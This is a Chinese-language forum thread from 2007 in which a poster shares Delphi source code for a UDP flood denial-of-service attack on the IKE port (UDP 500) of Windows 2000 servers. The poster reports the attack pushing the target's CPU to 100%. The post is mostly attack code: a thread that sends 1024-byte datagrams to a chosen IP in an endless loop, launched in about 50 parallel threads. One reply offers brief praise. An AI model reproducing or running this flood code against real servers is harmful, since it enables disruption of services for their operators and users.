飘云阁

 找回密码
 加入我们

QQ登录

只需一步,快速开始

查看: 4356|回复: 1

udp 500 D.O.S攻

[复制链接]
  • TA的每日心情
    开心
    2019-9-19 16:05
  • 签到天数: 4 天

    [LV.2]偶尔看看I

    发表于 2007-2-12 10:30:38 | 显示全部楼层 |阅读模式
    前些日子,看见有文章说win2000服务器的500端口对flood攻击防御不是很好,我测试了一下,发现很有效果,对win2000服务器的udp500发送大量包的时候,win2000服务器的cpu率一下子达到了100%,而且反应立刻迟钝下来.

    程序如下:

    线程程序://线程的执行代码,创建线程请用菜单new一个TheadObject

    uses winsock;

    procedure udpdos.Execute;
    var
    wsa:TWSAData;
    s: TSocket;
    sockin: TSockAddrIn;
    buf:array[0..1023] of byte;
    i: integer;
    DIP:string;
    begin
      { Place thread code here }
    //win2000下利用ike(udp 500)的DOS攻击
    //by 杨顺
      FreeOnTerminate := true;

    //destIP是主Form里面上,就是要攻击的对象,在主Form里面申明一个这样的变量就可以了
      DIP := DestIP;

    //填充buf
      for i := 0 to 1023 do
        buf := 97;

    //初始化socket2
      WSAStartup($101,wsa);

    //创建udp socket
      s := socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);
      sockin.sin_family := AF_INET;
      sockin.sin_port := htons(IKE);
      sockin.sin_addr.S_addr := inet_addr(pchar(DIP));
      while true do
      begin
        if self.Terminated then
          break;

       //发送数据报
        sendto(s,buf,1024,0,sockin,sizeof(sockin));
      end;
      closesocket(s);
      WSACleanup;

    end;


    主form里面,调用

      for i := 0 to 50 do
      begin
        udpdos.Create(false); //创建50多个线程,进行攻击
      end;

    顺便提一下,坚持用户输入的ip是否合法,一句话就可以了

    uses winsock

      if inet_addr(pchar(DestIP)) =  inaddr_none  then
      begin
        showmessage('输入的IP地址错误');
        exit;
      end;
    PYG19周年生日快乐!

    该用户从未签到

    发表于 2007-2-12 12:58:17 | 显示全部楼层
    不错。。。。。。。。
    PYG19周年生日快乐!
    您需要登录后才可以回帖 登录 | 加入我们

    本版积分规则

    快速回复 返回顶部 返回列表